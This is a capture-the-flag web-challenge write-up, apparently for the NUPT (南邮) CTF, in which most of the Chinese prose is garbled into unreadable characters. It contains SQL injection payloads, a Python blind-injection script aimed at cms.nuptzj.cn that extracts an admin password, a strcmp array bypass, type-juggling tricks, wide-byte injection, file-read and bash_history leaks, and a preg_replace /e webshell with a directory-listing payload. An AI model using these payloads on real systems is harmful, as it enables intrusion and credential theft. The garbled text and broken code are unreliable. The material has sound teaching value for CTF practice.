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view-source:

if (isset ($_GET['nctf'])) {
if (@ereg ("~[1-9]+$", $_GET['nctf']) === FALSE)
echo 'WIEINBFEAT";

else if (strpos ($ _GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else

echo 'R, 4kEEEE IR~

*F@ereg()Ei %, intereg(string pattern, string originalstring, [array regs]);, ereg()R B EHERE R — N ZRHEFEEN
FREER 0 R ILEE IR [Eltrue, 75 0], UK Flfalse . 8 R FEIFRRRDEGURK . BTl REH@ereg ("~[1-9]+%",
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‘#biubiubiu’) B E R nctfZE & H F B #biubiubiv #FE, 7 REiR Elflag
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(or_ro)+ CA )€ 1+(C 0 )+ ((07_"0) +(o" o))+ (7 )+ (M) 1+C0 )+ ()+ ((07_"0) +(0o"_"0))+ (A )[ € 1+(0")
+ () + (07_70))+ (or ro)+ CADN[ e ]+(C0 )+ (C—) + (0 ))+ ((02_"0) - (O ))+ (AN e 1+C0 )+ )+ (0 )+
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Ca)Le]+Co)+ C—)+ (C—) + CoN+ CA) e 1+CO0 )+ (( ) + (02 "))+ (C—) + (O )+ CA)[ & 1+~ )+ ((
" _"0) - (O )+ CA)[ e ]+(C—) + (0))+ (0 )+ (CA)[0o]) (0)) ("_");

0
[

—HEBILF ... ABEH f£aaencode, WA WEXANRA, TRENEGET —T...

KRIL—~aaencodef@ZE IM L, fR#ZSElflag

alert("nctf{javascript_aaencode}")
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£iXid=1023

%iRid=1025, HRXAFETF
TREXST—TRE, RAFNMFNRKintvalf$, TRENET T
Inteval()#JR EME: BIIE IR [E var ) integer (¥ {H, RMEHRE 0. 2 array&[E 0, FEZFH array iR[E 1.

BAKEBRTRIERSE. 32 NAARNHFSH integer JEFE & -2147483648 | 2147483647. 24|, XN RE L,
intval(*1000000000000’) &% [6] 2147483647. 64 i &% E, BAHH 5K integer R 9223372036854775807 .

FREFRERE 0, BARRT PR HREMB TR,



intval(42); 42
intval(4.2); 4
intval('42'); 42
intval('+42'); 42
intval('-42"); -42
intval(042); 34
intval('e42'); 42
intval(lel0); 1410065408
intval('lel0'); 1
intval(@x1A); 26
intval(42000000) ; 42000000
intval(420000000000000000000) ; 0
intval('420000000000000000000" ) ; 2147483647
intval(42, 8); 42
intval('42', 8);

intval(array());

intval(array('foo', 'bar'));
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4 user=admin&pass=admin B}, SQLIEAJIITF: select user from ctf where (user='admin') and (pw='admin')

B LA# i post data:

user=admin') or 1=('1&pass=admin

select user from ctf where (user='admin') or 1=('1') and (pw='admin')

AZAE, BriliEd BHES Elflag
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strcmp($pass, $passl)
strcmp(array, string)=null=0

FrLAti&post data pass[]=1 , $£fFflag

47 HAE

<?php

function noother says correct($number)

{

$one = ord('1");

$nine = ord('9");

for ($i = @; $i < strlen($number); $i++)

{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{

return false;

return $number == '54975581388"';
¥
$-Flag='******* ';
if(noother_says_correct($_GET['key']))

echo $flag;
else

echo 'access denied';
?>

BERBEATANIEE, FEAAN—ANGETHKZ BEkey, FHXTHIBTHW, XkeyF &G —M#THE, WRASCIHEKTF1, ¥
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B N54975581388 AR = A AT LK. ..
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"Ox1le240"=="123456" //true
"Ox1e240"==123456 //true

"Oxle240"=="1e240" //false
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http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1"
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ERET =T, RIXBRBEFTEENES
TEUE A RHGAE AR R BB R RO .
7E mysql & GBK ABMIE %, SUARANFERA—MNF, —BRA FR0ERK:
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ERET—T, KIH ApayloadiiflagiRI —2, FirbLHIWIXE RN ZF . ..
sql injection4
T E, BEFIFERMY

B T cleanrik, ficleanZkE AW R G E TIHMRAHL, 2R/ Astripslashes(MIBR R AHL, 485 A htmlentities()
Fik CELanRAIx 2R

htmlentities($str, ENT_COMPAT); // R#¥X(5| 5
htmlentities($str, ENT_QUOTES); // ##X 5| SHMEE =

htmlentities($str, ENT _NOQUOTES); // A#EHAL(M5| S

(Eb &N VAT

"SELECT * FROM users WHERE name=\"''.$username.'\' AND pass=\'"'.$password. '\";"

BHEMI—THERRSS, FAHRFMLKES] S, WEICITFRT, TESE5HEHRIE, IUZASQUEARSEXFMAE

"SELECT * FROM users WHERE name=.$username.' AND pass=.$password.’;"

A UR IR S S . [EHB TR T htmlentitiesX) B.5] 5347 T ##, FrUABRANIARER R3] SRAGsqiERT. TR
T UAE B8 R REE LR 5, HEMASRBENEERHET. £H

username=admin\&password=or 1=1

LR AR S AR X

'SELECT * FROM users WHERE name='admin AND pass='or 1=1';'

RR—AKEIER, XA A flag T
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TP, &2 —HEELRD

K Fconsole, 75%]1bc29b36f623ba82aaf6724fd3b16718.php

TREEVH

teamxlc.sinaapp.com/web3/bOb0ad119f425408fc3d45253137d33d/1bc29b36F623ba82aaf6724fd3b16718. php

% W BT 18 fatipZEheader
Fihttp header live¥T 7, & ltipAB &
RERASMT ...

EMET T, KAEXHVH. XREHN

Bash shell#E"/ bash history” (*/" R/ B XA RAE 7500 F AT K<, ZFEREFRMAERAEHKGSREES. BMERAH
A K-S B H P FEfb i) B % T #H — A" bash_history" 3 4

http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
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BB —Azip3efk, fEEEEflag
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A LABRILL 48, userfpassHIfE 2 postiii A, I HpassHIME K@i mdsme, squery PR Esqlin 24 RE, R
Bk B A R\ B KIMDSE AL 8 Elflag T

FRpostuser=" union select md5(1)#&pass=1 HLEEH Flflag T
(F &) Ruser=admin’ union select md5(1)& A #e45 Elflagh, REARadmin#fal .. A EXERT—T)
HMEE2

FRTPSKEE — K, SLOBER &0 iR CIBK&0 CHtiE , TRITHRME, B

http://nctf.nuptzj.cn/webl4d/.index.php.swp

£ 0404 NOTFOUND T, FRBUNEAND MR RAREXE, TREFERE, KI—Asubmitphp, FRERE—
-

BAMER - BIRAE CXEABER T Hh—B, JRERtipH i 7 55 Mbypass)
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mysqli_fetch_assoc() BEM G REFEAE — 1T 1E NSRBI .
207
mysqli_fetch_assoc(*result*)*; *

¥ iR

result WEE. BEAHREEE . MEH mysqli_query(). mysqli_store_result() Bt mysqli_use_result() & [B i 45 R EARR KT

= mysql_connect("localhost", "hello", "321");
if (!$con)
{

die('Could not connect: ' . mysql_error());

}

$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'"
$result = mysql_query($sql,$con);

print_r(mysql_fetch_assoc($result));

mysql_close($con);

LastName] => Adams
FirstName] => John
City] => London

Pt LA 8 R [y tokensf M 1% /20000000000, emailZEJEARS A LIRER, TR—%k, 15%flag
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?php
//EBRBAIES
include 'antixss.php';
include 'config.php';
$con = mysql_connect($db_address,$db_user,$db_pass) or die(&quot; NEEEER|FIEZE! ! &quot;.mysql_error());
mysql select db($db_name,$con);

$page=$_GET[ 'page'];
if($page==&quot;&quot; || $page==0){

$page="1";

¥
$page=intval($page);
$start=($page-1)*7;
$last=%$page*7;
$result=mysql_query(&quot;SELECT * FROM "message  WHERE display=1 ORDER BY id LIMIT $start,$last&quot;);
if(mysql_num_rows($result)8&gt;0){
while($rs=mysql_fetch_array($result)){
echo htmlspecialchars($rs['nice'],ENT_QUOTES).&quot;:&1t;br /&gt;&quot;;
echo '&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;‘.antixss($rs['say']). '&1t;br /&gt;&1t;hr /&gt;"’;

¥

¥

mysql_free_result($result);
?

?php

$contents=mysql_query(&quot;SELECT * FROM "message’ WHERE display=1&quot;);
if(mysgl_num_rows($contents)&gt;0){

$num=mysql_num_rows ($contents);

if($num%8!=0){

$pagenum=intval($num/8)+1;

}else{

$pagenum=intval($num/8);

}

for($i=1;%$i&1t;=%$pagenum;$i++){

echo '&lt;a href=&quot;index.php?page="'.htmlspecialchars($i). " '&quot;&gt;"'.htmlspecialchars($i)."'&1lt;/a&gt;&amp;
nbsp; ' ;

}

}
mysql_free_result($contents);

mysql_close($con);
?

passencode.php

?php

function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass=&quot;&quot;;
for($i=0;%$i&1t;count($array);$i++){
if($pass!=&quot;&quot;){
$pass=$pass.&quot; &quot;.(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);

¥

¥

return $pass;

}

?




"username'])){
',$nice);

)

$username=$ COOKIE[ 'username'];

$userpass=$ COOKIE[ 'userpass'];

if($nice==&quot;&quot; || $say==&quot;&quot;){

echo &quot;&1t;script&gt;alert('BHREESNAENRANT! (WRF AR MBI IE, SEMUERBE~ FIE, SR BEREED
ARE! )');&1t;/script&gt;&quot;;

exit();

b

$con = mysql_connect($db_address,$db_user,$db_pass) or die(&quot; NEEZEER|FIEE! ! &quot;.mysql_error());
mysql_select_db($db_name,$con);

$nice=mysql_real_escape_string($nice);

$username=mysql_real_escape_string($username);

$userpass=mysql_real_escape_string($userpass);

$result=mysql_query(&quot;SELECT username FROM admin where username='$nice'&quot;,$con);
$login=mysql_query(&quot;SELECT * FROM admin where username='$username' AND userpass='$userpass'&quot;,$con);
if(mysgl_num_rows($result)&gt;0 &amp;&amp; mysql num_rows($login)&lt;=0){

echo &quot;&1t;script&gt;alert('BRIROHMER, BHEH! ');-&1t;/script&gt;&quot;;

mysql_free_result($login);

mysql_free_result($result);

mysql_close($con);

exit();

)i

mysql free result($login);

mysql free_result($result);

$say=mysql _real escape_string($say);

mysql_query(&quot;insert into message (nice,say,display) values('$nice’, '$say’',0)&quot;,$con);
mysql_close($con);

echo '&1t;script&gt;alert(&quot; EMiEH S, HERELUNBEERFZAALLER! &quot;);window.location = &quot;./inde
X.php&quot;&1t;/script&gt;"’;

b}

BT T, RAXEEagHBAH2HB...

H —Aabout.php, Z=REITFH, HERT —BEMRYG

?php

$file=$ GET['file'];

if($file==&quot;&quot; || strstr($file, 'config.php')){
echo &quot;fileSEAREANZT! &quot;;

$cut=strchr($file,&quot;loginxlcteam&quot;);

if($cut==Ffalse){

$data=file_get contents($file);

$date=htmlspecialchars($data);

echo $date;

}else{

echo &quot;&lt;script&gt;alert("BURHEZ, ZIEEFE! HE. . . ')&Lt;/script&gt;&quot;;
¥

)i




BT — TEREAMSEEIERLE, KIERHNERE: so.php, preview.php

preview.php (B4 H...D

if($ _SERVER[ 'HTTP_USER_AGENT']!=&quot;Xlcteam Browser&quot;){
echo 'R, AUERAHAELABIF RN ERA T LHE~" ;
exit();

)
$id=$ POST[ 'soid'];

‘config.php';
‘antiinject.php’;
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die(&quot; NEEEBEBIEIEE! | &quot;.mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real escape_string($id);
$result=mysql_query(&quot;SELECT * FROM "message  WHERE display=1 AND id=$id&quot;);
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice'])."':&1t;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;".antixss($rs['say'])."
&1t;br /&gt;"';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
b}

RIX B A BN antinject.phpAlantixss.php
BT R IExssil, FrLAR iZantixss.phpFt A4 H
% — Fantiinject.php

<?php

function antiinject($content){ $keyword=array("select","union","and","from"," "', ,0", ,"char","or","count",
"master", "name", "pass","admin","+","-","order","=");

$info=strtolower($content);

for($i=0;%i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info);

}

return $info; } ?>

XMz LS fiphp, WTRMRE A S RAISEHE . .
TRMTBERET BEE.......

LM T THg, K Ilogindcteam ] L5 1], Vi)

http://cms.nuptzj.cn/loginxlcteam/

Ilimage-20190407004038386](/Users/zhengzeyang/Library/Application Support/typora-user-images/image-
20190407004038386.png)
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FREMZZEM so.php AF
Bl %£%&—F antiinject.php

SREE— T REE LA R

str_replace()
str_replace() R LA ZRHFEHZRFER PR —EBZ2HF (K3 KRAE) .
1% BR B0 AR T BRI«

o WIRMRM TR RLA, MATRKEEEH.
o WIRMRMFRBRHA, WAk HAPREN TRIETERME He.
o WIRFIN FENHAMTERM B, FEFEITERNTROTERINTRERNHEE, BLAZRTREATFZHBRTESR

o WIRBRMBREA, MBERMRFIE, BaBRFFERNPTEERIIEREM
S

str_replace(find,replace,string, count)

ZH R
replace W MERH find FHMERIE.
string Wi, MEBERIFERE.
count Wike B HREHT IR R,
find N, MEBEERKE.

Bilan: EFRFE “Hello world!” H i 4F “world” ##:24 “Shanghai”:

<?php

echo str_replace("world","Shanghai", "Hello world!");

?>

strtolower()
strtolower() BREIEFAF & FH#HA/NE
Bt Lhantiinjectf) id 8 21 ) 87 12 /2 25 v 45 20 o 5 B2 B 2 RF HE A 25

RENEEET, T —THABwriteup, KILATLLA selSELECTect f8# select (WA A BALZ B BEFE — AN REF = kK
gad) « H 7/ RRB TS NRT ST

sm.ixt4 T HE RIS

ET—THANBHAE (FESEMA T KRuser-agent), BE¥EET —TF (HAREHEEREBRE)



def get db():
url = "http://cms.nuptzj.cn/so.php"
header = {
'User-Agent': 'Xlcteam Browser',
'Host': 'cms.nuptzj.cn',
¥
payloadl = "©123456789abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
result= ""

for i in range(1,40):

for num in range(30,125):
payload = '1/**/an=d/**/ascii(mid((selec=t/**/userpas=s/**/fro=m/**/admi=n)fro=m/**/{0}/**/fo=r/**/1]
))>{1}"'.format(i,num)
data = {
"soid": payload

response = requests.post(url=url, headers=header, data=data)
result _len = len(str(response.text))
if (result_len == 425):
result += chr(num)
break
print(result)

get_db()

MR RKERE FHSE S, BETHARKREESERE SA, AMHT
133 1) 45 2 BLAG AU 1 —HE
F AL RET 4K (passencode.php) , FrlliX sz i% Rasciifl, ## L5 B F 8 #4182 fuckruntu

BRI ER#EE, T

http://cms.nuptzj.cn/about.php?file=xlcteam.php

(EEIN AT

?php
$e = $ REQUEST[ "'www'];
$arr = array($_POST['wtf'] => '|.*|e',);

array_walk($arr, $e, '');
?

EWE T — Farray_walk 24



array_walk

B
array_walk(*array,myfunction,parameter...*)
¥ Ei:p
array Wi e,
myfunction Wi, FHFEEREIIEIR.
parameter, ... k. MERF HE RIS H, BUARSKE -1 EEANSH.
B4

function myfunction($value, $key, $p)

{
echo "$key $p $value<br>";

}

$a=aPPay("a"=>"Ped","b"=>"gPeen","C"=>"blue");

array_walk($a, "myfunction”,"has the value");

?>

@ has the value red
b has the value green
c has the value blue

BESHEEALL? 2?2 AEFET T, W —8ERS, EMET T, KIRwebshellIE B,
EIE R A BRI

& T — Twriteup, Uit 4#Jif post data=preg_replace@wtf=print_r(scandir('.")); BT T



print_r()

print_r()ER¥ A TITENAR R, UEASHEBNERER.
PHP hxAZRK: PHP 4, PHP 5, PHP 7

27

bool print _r ( mixed $expression [, bool $return ] )

SHUL A :
o $expression: BEITEIHIZAE, MEL KR string. integer Bt float KA R, KITENBEE AL . WERALKR array, HeigE—
ERRERBMNITTE. object 5L,
o Sreturn: AIiE, WIHEAN true MIAFIH LR, MEKSERRES TR, false N EBEHHE R
iR 5] i
$return WIR BN true A HREE, A—AN5 TEHBERFRERER.
Bl

‘banana‘', 'c'

scandir()

%E U

scandir() BREUR B35 % H 3 KSR H R B8 .
Bk

scandir(directory,sorting_order,context);

¥ R
directory W MEERRKHE .

k. HEHFINE . Bl 0, RpikF8AFHS. R E N SCANDIR_SORT_DESCENDING 83 1, WERR
WP HES . R % E N SCANDIR_SORT_NONE, MR EIRHEF 4R .

sorting_order

context L. HE HREAWIFEE. context BB H FIRHIAT K —EiLT.

P CAJE T AR B B 3T BT S

ET AR, witeuph W K BIBEENMES, TRENET —TEEET, KAXHER=SHERE)ET]
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LK RBEREAN S, REEEEEREK, THEF3NSHH:

REMAHEHRAHREEFL TN fe MRE, '|.*|e' EAEERHENE—NSH, $arr HATH $_POST[pass] () ENFEZ
MM T AEABEEANSH

R LE B HOR T LA = AN S50 BARBS $AT or i & AT W8 ?

R E LK preg_replace BRHITE e BMIFF 2 Tl AEAT A& AT

)5 IR A

BAaR—HEL. .. EFUnicode EwiZ— T, RIUERBRINT ! B2 T HEMRHEBGFlag2. txt , FTFEFflag

BAE Kwriteup Vi F FF B 32 J1ER I, A T AL =RiE



	南邮CTF writeup
	南邮CTF writeup
	文章目录
	前要
	签到题
	签到2
	单身二十年和单身一百年都没用
	文件包含
	md5 collision
	层层递进
	php decode
	cookie
	/x00
	变量覆盖
	AAencode
	这题不是WEB
	MYSQL
	bypass again
	SQL注入1
	pass check
	起名字真难
	密码重置
	上传绕过（*）
	sql injection 3
	sql injection4
	综合题
	sql注入2
	密码重置2
	综合题2
	三参数回调后门



